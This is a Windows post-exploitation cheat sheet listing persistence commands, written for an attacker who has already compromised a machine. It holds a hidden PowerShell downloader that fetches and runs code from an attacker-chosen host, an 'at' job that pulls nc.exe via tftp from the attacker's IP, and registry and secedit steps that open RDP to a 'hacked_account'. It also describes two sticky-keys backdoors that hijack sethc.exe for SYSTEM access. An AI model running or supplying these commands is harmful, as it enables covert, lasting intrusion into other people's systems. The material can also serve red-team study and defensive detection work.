# Windows General Persistence Commands Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. ### Firewall Exceptions When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows: `netsh firewall set service type = remotedesktop mode = enable` ### Powershell Downloader * **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"` * **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_. ### Remote Assistance Enable * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f` * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system. ### Remote Desktop Enable - Method 1 * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f` * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. ### Remote Desktop Enable - Method 2 Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below. 1. On the compromised system, create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system.

     [Unicode]
         Unicode=yes
         [Version]
         signature="$CHICAGO$"
         Revision=1
         [Privilege Rights] [Privilege Rights]
         seremoteinteractivelogonright = hacked_account
         seinteractivelogonright = hacked_account
         sedenyinteractivelogonright =
         sedenyremoteinteractivelogonright =
         sedenynetworklogonright =

1. Create another file named `enable_ts.reg` containing the contents below.

     Windows Registry Editor Version 5.00
     [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
     "fDenyTSConnections"=dword:00000000
     "TSEnabled"=dword:00000001
     "TSUserEnabled"=dword:00000000

1. On the remote system, execute the following commands:

c:\> sc config termservice start= auto sc config termservice start= auto
c:\> regedit /s enable_ts.reg
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\new.secedit.sdb
c:\> copy c:\windows\security\database\secedit.sdb c:\windows\security\database\orig.secedit.sdb
c:\> secedit /configure /db new.secedit.sdb /cfg fix_ts_policy.ini
c:\> gpupdate /Force
c:\> net start "terminal services"

### Scheduler The [Windows scheduler](http://support.microsoft.com/kb/313565) can be used to further compromise a system. It usually runs at the SYSTEM account privilege level. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 58)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely schedule tasks using the commands below.

c:\> net use \\[TargetIP]\ipc$ password /user:username
c:\> at \\[TargetIP] 12:00 pm command

An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` ### Sticky Keys (Requires reboot) Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`. Some caveats: * If NLA (Network Layer Authentication) is enabled, this won't work * If RDP (Remote Desktop Protocol) is disabled, this won't work ### Sticky Keys (No reboot) This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place. * In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe` * Make a REG_SZ value called "Debugger" (Ensure it is capitalized) * For the "Debugger" REG_SZ, make it have a value of your binary * Press SHIFT 5 times and your binary should be executed